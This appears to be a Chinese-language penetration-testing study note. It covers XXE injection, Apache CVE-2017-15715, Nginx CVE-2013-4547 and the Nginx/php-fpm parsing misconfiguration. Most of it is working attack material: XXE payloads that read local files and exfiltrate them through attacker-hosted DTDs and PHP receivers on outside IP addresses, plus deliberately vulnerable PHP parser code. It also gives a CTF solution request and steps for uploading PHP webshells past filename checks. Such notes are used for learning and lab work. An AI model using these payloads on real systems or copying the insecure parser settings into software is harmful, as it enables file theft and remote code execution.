文章目录
-
基本原理
- XML 文档可以包含实体 (Entity),实体可以是内部的(定义在文档内部)或外部的(引用外部资源)。外部实体通常用于在 XML 文档中包含外部数据。如果 XML 解析器允许解析外部实体,那么攻击者可以利用这一点来执行恶意操作。
-
XXE发现
-
XXE~payload
-
读取文件
-
<?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/e.txt"> ]> <user> <username>&test;</username> <password>Mikasa</password> </user>
-
-
带外测试
-
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://7drrcs.dnslog.cn"> %file; ]> <user> <username>&send;</username> <password>Mikasa</password> </user>
-
-
引用外部实体dtd
-
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> ----------------------------------------------------------------------------- evil2.dtd <!ENTITY send SYSTEM "file:///d:/1/1.txt">
-
-
无回显读文件-带外
-
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///d:/e.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root> ------------------------------------------------------------------------------- 服务端 test.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> get.php <?php $data = $_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
-
-
-
复现
-
**复现文件:**php_xxe.zip
-
读取文件
-
源码
-
doLogin.php <?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
-
捉取登录框的数据包,替换数据包内容即可
-
源码2
-
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); if($xmlfile){ $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $result = simplexml_import_dom($dom); echo $result; } else{ show_source(__FILE__); } ?>
-
-
构造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE cong [ <!ENTITY SangFor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <cong>&SangFor;</cong>//显示结果
-
-
复现3
-
页面
-
捉包,放在repeater中测试回显点在邮箱处
-
故在邮箱处构造payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[ <!ENTITY Sangfor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <root><name>111</name><tel>222</tel><email>&Sangfor;</email><password>333</password></root>
-
-
-
带外测试
-
源码
<?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
捉取数据包,替换其内容即可
-
-
外部实体引用
-
源码同上
-
本地有一个dtd文件,evil2.dtd,内容为 <!ENTITY send SYSTEM "file:///d:/1/1.txt">
-
捉包,改包来引用他
-
-
无回显带外
-
源码
<?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载xml文件 $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
在服务端部署evil2.dtd,和get.php
-
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1/1.txt"> <!ENTITY % remote SYSTEM "http://43.139.186.80/evil2.dtd"> %remote; %all; ]> <root>&send;</root> --------------------------------------------- 服务端 evil2.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://43.139.186.80/get.php?file=%file;'>"> get.php <?php $data = $_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
-
-
捉包替换数据包内容将1.txt的内容带到服务端
-
源码2
-
<?php $xml = file_get_contents("php://input");//$xml 由用户post数据赋值。 if (strlen($xml)<10){ highlight_file("index.php.bak"); } libxml_disable_entity_loader(false); error_reporting(0); $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);//simplexml_load_string 函数会读取$xml文件。 echo 'I just load, but did not dispay!';
-
-
利用HTTP请求,将文本的数据外带
-
访问flag.php状态码返回200,证明flag.php文件存在。
-
攻击者服务端创建两个文件
-
evil.txt <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://43.139.186.80/test.php?p=%file;'>"> test.php <?php if (isset($_GET['p'])){ file_put_contents('result.txt', $_GET['p']); }
-
-
攻击payload
<?xml version="1.0"?> <!DOCTYPE everything [ <!ENTITY % SangFor SYSTEM "http://43.139.186.80/evil.txt"> %SangFor;%int;%send;]>
-
-
-
CTF赛题
-
前端代码
-
靶场地址:http://web.jarvisoj.com:9882/ <html> <head> <link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/> <script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script> </head> <body> <div class="show"> <textarea id="tip-area" width=100px height=50px disabled></textarea> </div> <div class="control-area"> <input id="evil-input" type="text" width=100px height=50px value="type sth!"/> <button class="btn btn-default" type="button" onclick="send()">Go!</button> </div> <script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); } </script> </body> </html> //可以看到XMLHttpRequest,猜测存在xxe漏洞·
-
-
捉取数据包并修改内容和类型
POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml;charset=utf-8 Referer: http://web.jarvisoj.com:9882/ Content-Length: 108 DNT: 1 Connection: close <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///home/ctf/flag.txt"> ]> <x>&f;</x>
-
-
-
代码审计流程
-
源码链接:https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwd=cong
-
过程
-
首先放入审计系统
-
搜索可疑xxe函数simplexml_load_string
-
看到敏感可疑函数,最终pe_getxml函数的调用
-
最终到wechat_getxml,继续全局搜索最终
-
最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php
-
在网站上访问并测试是否存在漏洞
-
发现xxe漏洞,因为通过源码发现他的返回结果是固定的,所以利用无回显文件外带即可任意读取
-
XXE内置类利用
-
源码
-
<?php class NotFound{ function __construct() { die('404'); } } spl_autoload_register( function ($class){ new NotFound(); } ); $classname = isset($_GET['name']) ? $_GET['name']:null; $param = isset($_GET['param']) ? $_GET['param'] : null; $param2 = isset($_GET['param2']) ? $_GET['param2'] : null; if (class_exists($classname)){ $newclass = new $classname($param,$param2);//创建name的类 var_dump($newclass);//输出该类 foreach ($newclass as $key=>$value) echo $key.'$value'.'<br>'; } show_source(__FILE__); ?>
-
-
源码将传入的变量作为类名来创建类,这样我们就可以调用php内置存在的类来进行注入
-
首先可以使用GlobIterator类来寻找目录下各个文件的名字
-
GlobIterator类第一个参数是必须的,也就是搜索的文件名,第二个参数为搜索。
-
payload:
?name=GlobIterator¶m=*.php&¶m2=2
-
通过搜索发现f1111ag.php文件,下一步使用SimpleXMLElement类读取f1111ag.php文件。
-
payload:
?name=SimpleXMLElement¶m=<?xml%20version="1.0"?><!DOCTYPE%20ANY%20[<!ENTITY%20xxe%20SYSTEM%20"php://filter/read=convert.base64-encode/resource=f1111ag.php">]><x>%26xxe;</x>¶m2=2
Apache HTTPD 换行解析漏洞
(cve-2017-15715)
-
介绍
- Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
- Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
-
条件
- apache 2.4.0~2.4.29版本
- 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
-
复现
-
上传一个php木马,在更改后的名称加一个空格
-
转到16进制,将对应名称后面的20改为0a
-
连接时记得在后面添加上%0a即可
-
Nginx 文件名逻辑漏洞
(CVE-2013-4547)
-
原理
- 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
-
条件
- Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
-
复现
-
上传gif数据包,在文件名处加空格与添加执行代码即可
-
访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00
-
发包,执行成功
-
Nginx 解析漏洞
-
概念
- 由于
nginx.conf
配置将以.php
结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似http://ip/uploadfiles/test.png/.php
的 URL(其中test.png
是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到.php
文件时,php.ini
中的cgi.fix_pathinfo=1
配置会将请求路径修复为上层路径,即test.png
。如果php-fpm.conf
中security.limit_extensions
配置为空,FastCGI 将解析.png
文件为 PHP 代码。为防止此类攻击,应限制php-fpm
仅解析.php
扩展名。
- 由于
-
条件
- 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
- php-fpm.conf配置文件未设置成.php
-
复现
-
上传正常图片,捉包,最后面放入执行代码
-
-
得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可
-